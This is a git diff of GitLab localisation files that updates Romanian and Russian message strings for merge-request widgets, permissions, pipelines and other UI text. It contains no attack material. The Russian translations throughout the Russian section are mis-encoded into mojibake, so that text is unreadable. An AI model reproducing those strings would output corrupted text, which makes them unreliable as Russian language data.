msgid "WikiPage|Create page"
msgstr ""
+msgid "WikiPage|Edit rich text"
+msgstr ""
+
+msgid "WikiPage|Edit source"
+msgstr ""
+
msgid "WikiPage|Format"
msgstr ""
@@ -39031,7 +39673,7 @@ msgstr ""
msgid "WikiPage|Keep editing"
msgstr ""
-msgid "WikiPage|More Information."
+msgid "WikiPage|Learn more."
msgstr ""
msgid "WikiPage|Page title"
@@ -39145,6 +39787,9 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "Work in progress- click here to find out more"
+msgstr ""
+
msgid "WorkItem|Work Items"
msgstr ""
@@ -39418,13 +40063,10 @@ msgstr ""
msgid "You can only %{action} files when you are on a branch"
msgstr ""
-msgid "You can only edit files when you are on a branch"
-msgstr ""
-
-msgid "You can only merge once the items above are resolved."
+msgid "You can only add up to %{max_contacts} contacts at one time"
msgstr ""
-msgid "You can only merge once this merge request is approved."
+msgid "You can only edit files when you are on a branch"
msgstr ""
msgid "You can only transfer the project to namespaces you manage."
@@ -39460,6 +40102,9 @@ msgstr ""
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
+msgid "You cannot combine replace_ids with add_ids or remove_ids"
+msgstr ""
+
msgid "You cannot impersonate a blocked user"
msgstr ""
@@ -39490,12 +40135,18 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr ""
+msgid "You do not have any Google Cloud projects. Please create a Google Cloud project and then reload this page."
+msgstr ""
+
msgid "You do not have any subscriptions yet"
msgstr ""
msgid "You do not have permission to access dora metrics."
msgstr ""
+msgid "You do not have permission to approve a member"
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -39547,6 +40198,12 @@ msgstr ""
msgid "You don’t have access to Value Stream Analytics for this group"
msgstr ""
+msgid "You have %{pendingMembersCount} pending member that needs approval."
+msgid_plural "You have %{pendingMembersCount} pending members that need approval."
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -39595,6 +40252,9 @@ msgstr ""
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
+msgid "You have insufficient permissions to set customer relations contacts for this issue"
+msgstr ""
+
msgid "You have insufficient permissions to update an on-call schedule for this project"
msgstr ""
@@ -39730,9 +40390,6 @@ msgstr ""
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
-msgstr ""
-
msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
@@ -39817,8 +40474,8 @@ msgstr "Exportul dvs. CSV de %{written_count} din proiectul %{project_name} (%{p
msgid "Your CSV import for project"
msgstr "Importul dvs. CSV pentru proiect"
-msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. Use it to view how you compare with other organizations."
-msgstr "Raportul dvs. DevOps vă oferă o prezentare generală a cum utilizați GitLab dintr-o perspectivă a funcțiilor. Utilizați-l pentru a vizualiza cum vă comparați cu alte organizații."
+msgid "Your DevOps Reports give an overview of how you are using GitLab from a feature perspective. Use them to view how you compare with other organizations, and how your teams compare against each other."
+msgstr ""
msgid "Your GPG keys (%{count})"
msgstr "Cheile dvs. GPG (%{count})"
@@ -39883,6 +40540,12 @@ msgstr "Contul dvs. a fost dezactivat de administrator. Vă rugăm să vă conec
msgid "Your account has been deactivated. You will not be able to: "
msgstr "Contul dvs. a fost dezactivat. Nu veți mai putea să: "
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_password_link_start}set a password%{link_end} or %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
msgid "Your account is locked."
msgstr "Contul dvs. este blocat."
@@ -40075,6 +40738,9 @@ msgstr "Căutarea dvs. a expirat"
msgid "Your sign-in page is %{url}."
msgstr "Pagina dvs. de conectare este %{url}."
+msgid "Your snippets"
+msgstr ""
+
msgid "Your subscription expired!"
msgstr "Abonamentul dvs. a expirat!"
@@ -40090,15 +40756,9 @@ msgstr "Numele dvs. de utilizator este %{username}."
msgid "ZenTaoIntegration|Failed to load ZenTao issue. View the issue in ZenTao, or reload the page."
msgstr ""
-msgid "ZenTaoIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}ZenTao%{linkEnd}."
-msgstr ""
-
msgid "ZenTaoIntegration|This is a ZenTao user."
msgstr ""
-msgid "ZenTaoIntegration|This issue is synchronized with ZenTao"
-msgstr ""
-
msgid "ZenTaoIntegration|ZenTao user"
msgstr ""
@@ -40108,6 +40768,9 @@ msgstr ""
msgid "ZentaoIntegration|Base URL of the ZenTao instance."
msgstr ""
+msgid "ZentaoIntegration|Before you enable this integration, you must configure ZenTao. For more details, read the %{link_start}ZenTao integration documentation%{link_end}."
+msgstr ""
+
msgid "ZentaoIntegration|Enter new ZenTao API token"
msgstr ""
@@ -40174,9 +40837,6 @@ msgstr "acces:"
msgid "added"
msgstr "adăugat(ă)"
-msgid "added %{created_at_timeago}"
-msgstr "adăugat %{created_at_timeago}"
-
msgid "added %{emails}"
msgstr "adăugat %{emails}"
@@ -40273,6 +40933,9 @@ msgstr "poate avea doar o singură politică de escaladare"
msgid "can't be nil"
msgstr ""
+msgid "can't be solely blank"
+msgstr ""
+
msgid "can't be the same as the source project"
msgstr ""
@@ -40306,9 +40969,6 @@ msgstr ""
msgid "cannot be enabled until a valid credit card is on file"
msgstr ""
-msgid "cannot be modified"
-msgstr "nu poate fi modificat"
-
msgid "cannot be used for user namespace"
msgstr ""
@@ -40480,6 +41140,9 @@ msgstr "Testarea dinamică a securității aplicațiilor (DAST) detectează vuln
msgid "ciReport|Failed to load %{reportName} report"
msgstr ""
+msgid "ciReport|Failed to load Code Quality report"
+msgstr ""
+
msgid "ciReport|Fixed"
msgstr ""
@@ -40489,6 +41152,9 @@ msgstr ""
msgid "ciReport|Found %{issuesWithCount}"
msgstr ""
+msgid "ciReport|IaC Scanning"
+msgstr ""
+
msgid "ciReport|Investigate this vulnerability by creating an issue"
msgstr ""
@@ -40513,6 +41179,9 @@ msgstr ""
msgid "ciReport|Loading %{reportName} report"
msgstr "Încarcă raportul %{reportName}"
+msgid "ciReport|Loading Code Quality report"
+msgstr ""
+
msgid "ciReport|Manage licenses"
msgstr "Gestionați licențele"
@@ -40549,6 +41218,9 @@ msgstr "Scanare de securitate"
msgid "ciReport|Security scanning failed loading any results"
msgstr ""
+msgid "ciReport|Showing %{fetchedItems} of %{totalItems} items"
+msgstr ""
+
msgid "ciReport|Solution"
msgstr "Soluție"
@@ -40924,21 +41596,9 @@ msgstr "fluxul de import"
msgid "in"
msgstr "în"
-msgid "in Infrastructure :: Kubernetes clusters"
-msgstr "în Infrastructură: Clustere Kubernetes"
-
-msgid "in all GitLab"
-msgstr ""
-
-msgid "in group"
-msgstr "în grup"
-
msgid "in group %{link_to_group}"
msgstr "în grupul %{link_to_group}"
-msgid "in project"
-msgstr "în proiect"
-
msgid "in project %{link_to_project}"
msgstr "în proiectul %{link_to_project}"
@@ -41092,9 +41752,6 @@ msgstr "blocat de %{path_lock_user_name} %{created_at}"
msgid "log in"
msgstr "autentificare"
-msgid "managed"
-msgstr "gestionat"
-
msgid "manual"
msgstr "manual"
@@ -41125,15 +41782,15 @@ msgstr "mai multe informații"
msgid "most recent deployment"
msgstr ""
-msgid "mrWidgetCommitsAdded|%{commitCount} and %{mergeCommitCount} will be added to %{targetBranch}."
-msgstr "%{commitCount} și %{mergeCommitCount} vor fi adăugate la %{targetBranch}."
-
-msgid "mrWidgetCommitsAdded|%{commitCount} will be added to %{targetBranch}."
-msgstr "%{commitCount} va fi adăugat la %{targetBranch}."
-
msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr "1 merge commit"
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} and %{mergeCommitCount} to %{targetBranch}%{squashedCommits}."
+msgstr ""
+
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} to %{targetBranch}."
+msgstr ""
+
msgid "mrWidgetNothingToMerge|This merge request contains no changes."
msgstr "Acest merge request nu conține modificări."
@@ -41143,6 +41800,9 @@ msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
msgstr ""
+msgid "mrWidget|%{boldHeaderStart}Looks like there's no pipeline here.%{boldHeaderEnd}"
+msgstr ""
+
msgid "mrWidget|%{linkStart}Set up now%{linkEnd} to analyze your source code for known security vulnerabilities."
msgstr ""
@@ -41161,9 +41821,6 @@ msgstr "%{metricsLinkStart} Memoria %{metricsLinkEnd} utilizată %{emphasisStart
msgid "mrWidget|%{metricsLinkStart} Memory %{metricsLinkEnd} usage is %{emphasisStart} unchanged %{emphasisEnd} at %{memoryFrom}MB"
msgstr "%{metricsLinkStart} Memoria %{metricsLinkEnd} utilizată este %{emphasisStart} neschimbată %{emphasisEnd} la %{memoryFrom}MB"
-msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
-msgstr "%{prefixToLinkStart}Fără pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Adaugați fișierul .gitlab-ci.yml%{addPipelineLinkEnd} pentru a crea unul."
-
msgid "mrWidget|A merge train is a queued list of merge requests waiting to be merged into the target branch. The changes in each merge request are combined with the changes in earlier merge requests and tested before merge."
msgstr ""
@@ -41206,9 +41863,6 @@ msgstr ""
msgid "mrWidget|Approved by you and others"
msgstr ""
-msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
-msgstr ""
-
msgid "mrWidget|Cancel auto-merge"
msgstr "Anulați auto-îmbinarea"
@@ -41242,6 +41896,9 @@ msgstr ""
msgid "mrWidget|Delete source branch"
msgstr "Ștergeți ramura sursă"
+msgid "mrWidget|Deletes the source branch"
+msgstr ""
+
msgid "mrWidget|Deployment statistics are not available currently"
msgstr ""
@@ -41251,12 +41908,18 @@ msgstr ""
msgid "mrWidget|Dismiss"
msgstr ""
+msgid "mrWidget|Does not delete the source branch"
+msgstr ""
+
msgid "mrWidget|Email patches"
msgstr ""
msgid "mrWidget|Failed to load deployment statistics"
msgstr ""
+msgid "mrWidget|GitLab %{linkStart}CI/CD can automatically build, test, and deploy your application.%{linkEnd} It only takes a few minutes to get started, and we can help you create a pipeline configuration file."
+msgstr ""
+
msgid "mrWidget|Hide %{widget} details"
msgstr ""
@@ -41293,21 +41956,36 @@ msgstr ""
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: denied licenses must be removed."
+msgstr ""
+
msgid "mrWidget|Merge blocked: fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr "Îmbinare blocată: îmbinarea fast-forward nu este posibilă. Pentru a îmbina acest request, mai întâi rebazați pe plan local."
+msgid "mrWidget|Merge blocked: merge conflicts must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
msgstr ""
+msgid "mrWidget|Merge blocked: this merge request must be approved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
msgid "mrWidget|Merge locally"
msgstr ""
+msgid "mrWidget|Merge unavailable: merge requests are read-only on archived projects."
+msgstr ""
+
msgid "mrWidget|Merged by"
msgstr ""
+msgid "mrWidget|Merges changes into"
+msgstr ""
+
msgid "mrWidget|Merging! Changes are being shipped…"
msgstr ""
@@ -41320,6 +41998,15 @@ msgstr ""
msgid "mrWidget|Merging! Everything's good…"
msgstr ""
+msgid "mrWidget|Merging! Lift-off in 5… 4… 3…"
+msgstr ""
+
+msgid "mrWidget|Merging! Take a deep breath and relax…"
+msgstr ""
+
+msgid "mrWidget|Merging! The changes are leaving the station…"
+msgstr ""
+
msgid "mrWidget|Merging! This is going to be great…"
msgstr ""
@@ -41359,9 +42046,6 @@ msgstr ""
msgid "mrWidget|Resolve conflicts"
msgstr "Rezolvați conflictele"
-msgid "mrWidget|Resolve these conflicts or ask someone with write access to this repository to merge it locally"
-msgstr ""
-
msgid "mrWidget|Revert"
msgstr ""
@@ -41392,9 +42076,6 @@ msgstr ""
msgid "mrWidget|The changes were not merged into"
msgstr ""
-msgid "mrWidget|The changes will be merged into"
-msgstr ""
-
msgid "mrWidget|The pipeline for this merge request did not complete. Push a new commit to fix the failure, or check the %{linkStart}troubleshooting documentation%{linkEnd} to see other possible actions."
msgstr ""
@@ -41410,37 +42091,28 @@ msgstr "Ramura sursă este %{link} ramura țintă"
msgid "mrWidget|The source branch is being deleted"
msgstr "Ramura sursă este ștearsă"
-msgid "mrWidget|The source branch will be deleted"
-msgstr "Ramura sursă va fi ștearsă"
-
-msgid "mrWidget|The source branch will not be deleted"
-msgstr "Ramura sursă nu va fi ștearsă"
-
-msgid "mrWidget|There are merge conflicts"
-msgstr "Există conflicte de îmbinare"
-
msgid "mrWidget|This merge request failed to be merged automatically"
msgstr "Acest merge request nu a reușit să fie îmbinat automat"
-msgid "mrWidget|This project is archived, write access has been disabled"
-msgstr "Acest proiect este arhivat, accesul la scriere a fost dezactivat"
-
msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
msgstr ""
-msgid "mrWidget|To merge, a Jira issue key must be mentioned in the title or description."
+msgid "mrWidget|To change these default messages, edit the templates for both the merge and squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|Use %{linkStart}CI pipelines to test your code%{linkEnd} by simply adding a GitLab CI configuration file to your project. It only takes a minute to make your code more secure and robust."
-msgstr "Folosiți %{linkStart}pipeline-uri CI în codul dvs.%{linkEnd} prin simpla adăugare a fișierului de configurare GitLab CI la proiectul dvs. Este nevoie doar de un minut pentru a face codul dvs. mai sigur și mai robust."
+msgid "mrWidget|To change this default message, edit the template for merge commit messages. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
-msgid "mrWidget|What is a merge train?"
+msgid "mrWidget|To change this default message, edit the template for squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|You can merge after removing denied licenses"
+msgid "mrWidget|To merge, a Jira issue key must be mentioned in the title or description."
+msgstr ""
+
+msgid "mrWidget|Users who can write to the source or target branches can resolve the conflicts."
msgstr ""
-msgid "mrWidget|You can only merge once this merge request is approved."
+msgid "mrWidget|What is a merge train?"
msgstr ""
msgid "mrWidget|Your password"
@@ -41605,6 +42277,18 @@ msgstr "pipeline"
msgid "pipeline schedules documentation"
msgstr ""
+msgid "pipelineEditorWalkthrough|Let's do this!"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|See how GitLab pipelines work"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|This %{codeStart}.gitlab-ci.yml%{codeEnd} file creates a simple test pipeline."
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|Use the %{boldStart}commit changes%{boldEnd} button at the bottom of the page to run the pipeline."
+msgstr ""
+
msgid "pod_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr "pod_name poate conține doar litere mici, cifre, '-' și '.' și trebuie să înceapă și să se termine cu un caracter alfanumeric."
@@ -41788,9 +42472,6 @@ msgstr "autentificare"
msgid "smartcn custom analyzer"
msgstr "analizor personalizat smartcn"
-msgid "sort:"
-msgstr "sortare:"
-
msgid "source"
msgstr "sursă"
@@ -41815,6 +42496,9 @@ msgstr "a început la %{timebox_start_date}"
msgid "starts on %{timebox_start_date}"
msgstr "începe la %{timebox_start_date}"
+msgid "structure is too large"
+msgstr ""
+
msgid "stuck"
msgstr "blocat"
diff --git a/locale/ru/gitlab.po b/locale/ru/gitlab.po
index 354070b4675..9c0f666314f 100644
--- a/locale/ru/gitlab.po
+++ b/locale/ru/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: ru\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-11-02 00:39\n"
+"PO-Revision-Date: 2021-12-06 18:56\n"
msgid " %{start} to %{end}"
msgstr " %{start} по %{end}"
@@ -70,9 +70,6 @@ msgstr "\"%{path}\" не ÑущеÑтвует на \"%{ref}\""
msgid "\"%{repository_name}\" size (%{repository_size}) is larger than the limit of %{limit}."
msgstr ""
-msgid "\"el\" parameter is required for createInstance()"
-msgstr "Параметр \"el\" необходим Ð´Ð»Ñ createInstance()"
-
msgid "#%{issueIid} (closed)"
msgstr ""
@@ -303,6 +300,13 @@ msgstr[1] "%d иÑправленных результатов теÑта"
msgstr[2] "%d иÑправленных результатов теÑта"
msgstr[3] "%d иÑправленные результаты теÑта"
+msgid "%d fork"
+msgid_plural "%d forks"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "%d group"
msgid_plural "%d groups"
msgstr[0] "%d группа"
@@ -373,6 +377,13 @@ msgstr[1] "%d запроÑа на ÑлиÑние, к которым у Ð²Ð°Ñ Ð½
msgstr[2] "%d запроÑов на ÑлиÑние, к которым у Ð²Ð°Ñ Ð½ÐµÑ‚ доÑтупа."
msgstr[3] "%d запроÑов на ÑлиÑние, к которым у Ð²Ð°Ñ Ð½ÐµÑ‚ доÑтупа."
+msgid "%d merge requests"
+msgid_plural "%d merge requests"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "%d metric"
msgid_plural "%d metrics"
msgstr[0] "%d метрика"
@@ -464,6 +475,13 @@ msgstr[1] "%d шарда выбрано"
msgstr[2] "%d шардов выбрано"
msgstr[3] "%d шардов выбрано"
+msgid "%d star"
+msgid_plural "%d stars"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "%d tag"
msgid_plural "%d tags"
msgstr[0] "%d тег"
@@ -537,6 +555,12 @@ msgstr[3] "%s дополнительных коммитов было пропуÑ
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr "%{actionText} & %{openOrClose} %{noteable}"
+msgid "%{actionText} & close %{noteable}"
+msgstr ""
+
+msgid "%{actionText} & reopen %{noteable}"
+msgstr ""
+
msgid "%{address} is an invalid IP address range"
msgstr "%{address} — недопуÑтимый диапазон IP-адреÑов"
@@ -623,6 +647,13 @@ msgstr[3] "%{count} утверждений требуетÑÑ Ð¾Ñ‚ %{name}"
msgid "%{count} approvals from %{name}"
msgstr "%{count} ÑоглаÑований от %{name}"
+msgid "%{count} contact"
+msgid_plural "%{count} contacts"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "%{count} files touched"
msgstr "затронуто %{count} файлов"
@@ -851,8 +882,8 @@ msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr "%{link_start}Удалите Ð¿Ñ€ÐµÑ„Ð¸ÐºÑ %{draft_snippet}%{link_end} из заголовка, чтобы позволить Ñтому запроÑу на ÑлиÑние выполнитьÑÑ Ð¿Ñ€Ð¸ готовноÑти."
-msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
-msgstr "%{link_start}Ðачните заголовок Ñ %{draft_snippet}%{link_end} чтобы предотвратить выполнение запроÑа на ÑлиÑние, который находитÑÑ Ð² процеÑÑе обработки."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request draft from merging before it's ready."
+msgstr ""
msgid "%{link_start}What information does GitLab Inc. collect?%{link_end}"
msgstr ""
@@ -905,6 +936,9 @@ msgstr "%{name} нашел %{resultsString}"
msgid "%{name} is already being used for another emoji"
msgstr ""
+msgid "%{name} is reserved for %{type} report type"
+msgstr ""
+
msgid "%{name} is scheduled for %{action}"
msgstr "%{name} запланирован на %{action}"
@@ -939,9 +973,6 @@ msgstr ""
msgid "%{oneYearAgo} - %{today}"
msgstr ""
-msgid "%{openOrClose} %{noteable}"
-msgstr "%{openOrClose} %{noteable}"
-
msgid "%{openedEpics} open, %{closedEpics} closed"
msgstr "%{openedEpics} открыто, %{closedEpics} закрыто"
@@ -966,6 +997,9 @@ msgstr "%{placeholder} не ÑвлÑетÑÑ Ð´Ð¾Ð¿ÑƒÑтимой темой"
msgid "%{primary} (%{secondary})"
msgstr "%{primary} (%{secondary})"
+msgid "%{project_path} is a project that you can use to add a README to your GitLab profile. Create a public project and initialize the repository with a README to get started. %{help_link_start}Learn more.%{help_link_end}"
+msgstr ""
+
msgid "%{ref} cannot be added: %{error}"
msgstr ""
@@ -1000,6 +1034,9 @@ msgstr ""
msgid "%{scope} results for term '%{term}'"
msgstr ""
+msgid "%{search} %{description} %{scope}"
+msgstr ""
+
msgid "%{seconds}s"
msgstr "%{seconds}Ñ"
@@ -1050,9 +1087,6 @@ msgstr "%{spanStart}в%{spanEnd} %{errorFn}"
msgid "%{start} to %{end}"
msgstr "%{start} по %{end}"
-msgid "%{state} epics"
-msgstr "%{state} цели"
-
msgid "%{strongOpen}Warning:%{strongClose} SAML group links can cause GitLab to automatically remove members from groups."
msgstr ""
@@ -1165,6 +1199,9 @@ msgstr "приоритет открытого обÑÑƒÐ¶Ð´ÐµÐ½Ð¸Ñ %{total}"
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
+msgid "%{type} only supports %{name} name"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr "%{userName}(не может выполнÑÑ‚ÑŒ ÑлиÑние)"
@@ -1298,6 +1335,13 @@ msgstr "(удалено)"
msgid "(revoked)"
msgstr "(отозван)"
+msgid "(squashes %d commit)"
+msgid_plural "(squashes %d commits)"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "(this user)"
msgstr ""
@@ -1307,6 +1351,9 @@ msgstr ""
msgid "* All times are in UTC unless specified"
msgstr ""
+msgid "*Required"
+msgstr ""
+
msgid "+ %{amount} more"
msgstr "+%{amount} ещё"
@@ -1347,6 +1394,9 @@ msgstr ""
msgid "+%{tags} more"
msgstr "+ещё %{tags}"
+msgid ", and "
+msgstr ""
+
msgid ", or "
msgstr ", или "
@@ -1702,9 +1752,6 @@ msgstr "Ðовый релиз %{tag} Ð´Ð»Ñ %{name} опубликован. По
msgid "A new Release %{tag} for %{name} was published. Visit the Releases page to read more about it:"
msgstr "Ðовый релиз %{tag} Ð´Ð»Ñ %{name} опубликован. ПоÑетите Ñтраницу Релизов, чтобы узнать больше:"
-msgid "A new branch will be created in your fork and a new merge request will be started."
-msgstr "Ð’ вашем ответвлении будет Ñоздана Ð½Ð¾Ð²Ð°Ñ Ð²ÐµÑ‚ÐºÐ° и запущен новый Ð·Ð°Ð¿Ñ€Ð¾Ñ Ð½Ð° ÑлиÑние."
-
msgid "A new impersonation token has been created."
msgstr "Был Ñоздан новый токен заимÑÑ‚Ð²Ð¾Ð²Ð°Ð½Ð¸Ñ Ð¿Ñ€Ð°Ð²."
@@ -1741,9 +1788,6 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
-msgid "A string appended to the project path to form the Service Desk email address."
-msgstr ""
-
msgid "A title is required"
msgstr ""
@@ -1792,9 +1836,6 @@ msgstr ""
msgid "APIFuzzing|Choose a profile"
msgstr ""
-msgid "APIFuzzing|Code snippet could not be generated. Try again later."
-msgstr "Ðе удалоÑÑŒ Ñоздать Ñниппет. Попробуйте позже."
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -1930,9 +1971,6 @@ msgstr "Токены доÑтупа"
msgid "Access denied for your LDAP account."
msgstr "ДоÑтуп запрещен Ð´Ð»Ñ Ð²Ð°ÑˆÐµÐ¹ учетной запиÑи LDAP."
-msgid "Access denied! Please verify you can add deploy keys to this repository."
-msgstr "ДоÑтуп запрещен! ПожалуйÑта, убедитеÑÑŒ, что вы можете добавить ключи Ñ€Ð°Ð·Ð²ÐµÑ€Ñ‚Ñ‹Ð²Ð°Ð½Ð¸Ñ Ð² Ñтот репозиторий."
-
msgid "Access denied: %{error}"
msgstr ""
@@ -2179,12 +2217,18 @@ msgstr "Добавить нумерованный ÑпиÑок"
msgid "Add a related issue"
msgstr ""
+msgid "Add a suffix to Service Desk email address. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
msgid "Add a table"
msgstr "Добавить таблицу"
msgid "Add a task list"
msgstr "Добавить ÑпиÑок задач"
+msgid "Add a title…"
+msgstr ""
+
msgid "Add a to do"
msgstr ""
@@ -2227,6 +2271,12 @@ msgstr ""
msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
msgstr ""
+msgid "Add customer relation contact(s)."
+msgstr ""
+
+msgid "Add customer relation contacts"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2269,9 +2319,6 @@ msgstr "Добавить новое приложение"
msgid "Add new directory"
msgstr "Добавить новый каталог"
-msgid "Add new service account"
-msgstr ""
-
msgid "Add or remove previously merged commits"
msgstr "Добавить или удалить коммиты, Ñлитые ранее"
@@ -2341,6 +2388,9 @@ msgstr "Добавить пользователей в группу"
msgid "Add variable"
msgstr "Добавить переменную"
+msgid "Add vulnerability finding"
+msgstr ""
+
msgid "Add webhook"
msgstr "Добавить веб-обработчик"
@@ -2386,9 +2436,6 @@ msgstr ""
msgid "Added an issue to an epic."
msgstr "К цели добавлена задача."
-msgid "Added at"
-msgstr "Добавлено"
-
msgid "Added for this merge request"
msgstr ""
@@ -2431,8 +2478,8 @@ msgstr "ДобавлÑет %{epic_ref} как дочерний Ñлемент."
msgid "Adds %{labels} %{label_text}."
msgstr "ДобавлÑетÑÑ %{labels}%{label_text}."
-msgid "Adds a Zoom meeting"
-msgstr "ДобавлÑет вÑтречу в Zoom"
+msgid "Adds a Zoom meeting."
+msgstr ""
msgid "Adds a to do."
msgstr ""
@@ -2440,7 +2487,7 @@ msgstr ""
msgid "Adds an issue to an epic."
msgstr "К цели добавлÑетÑÑ Ð·Ð°Ð´Ð°Ñ‡Ð°."
-msgid "Adds email participant(s)"
+msgid "Adds email participant(s)."
msgstr ""
msgid "Adjust how frequently the GitLab UI polls for updates."
@@ -2536,6 +2583,9 @@ msgstr ""
msgid "AdminArea|Maintainer"
msgstr "Maintainer"
+msgid "AdminArea|Minimal access"
+msgstr ""
+
msgid "AdminArea|New group"
msgstr "ÐÐ¾Ð²Ð°Ñ Ð³Ñ€ÑƒÐ¿Ð¿Ð°"
@@ -2602,7 +2652,7 @@ msgstr ""
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr "Ошибка загрузки ÑтатиÑтики. ПожалуйÑта, попробуйте еще раз"
-msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
+msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. After you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
msgid "AdminProjects|Delete"
@@ -3139,19 +3189,28 @@ msgstr "Дополнительные наÑтройки"
msgid "Advanced export options"
msgstr ""
+msgid "AdvancedSearch|Reindex required"
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. You will lose this project's repository and %{strongStart}all related resources%{strongEnd}, including issues and merge requests."
+msgstr ""
+
msgid "After a successful password update you will be redirected to login screen."
msgstr "ПоÑле уÑпешного Ð¾Ð±Ð½Ð¾Ð²Ð»ÐµÐ½Ð¸Ñ Ð¿Ð°Ñ€Ð¾Ð»Ñ Ð²Ñ‹ будете перенаправлены на Ñкран входа в ÑиÑтему."
msgid "After a successful password update, you will be redirected to the login page where you can log in with your new password."
msgstr "ПоÑле уÑпешного Ð¾Ð±Ð½Ð¾Ð²Ð»ÐµÐ½Ð¸Ñ Ð¿Ð°Ñ€Ð¾Ð»Ñ Ð²Ñ‹ будете перенаправлены на Ñтраницу входа, где вы можете войти Ñ Ð½Ð¾Ð²Ñ‹Ð¼ паролем."
-msgid "After that, you will not be able to use merge approvals or code quality as well as many other features."
+msgid "After it expires, you can't use merge approvals, code quality, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many other features."
+msgid "After it expires, you can't use merge approvals, epics, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many security features."
+msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
msgid "After you've reviewed these contribution guidelines, you'll be all set to"
@@ -3742,9 +3801,6 @@ msgstr ""
msgid "An empty GitLab User field will add the FogBugz user's full name (e.g. \"By John Smith\") in the description of all issues and comments. It will also associate and/or assign these issues and comments with the project creator."
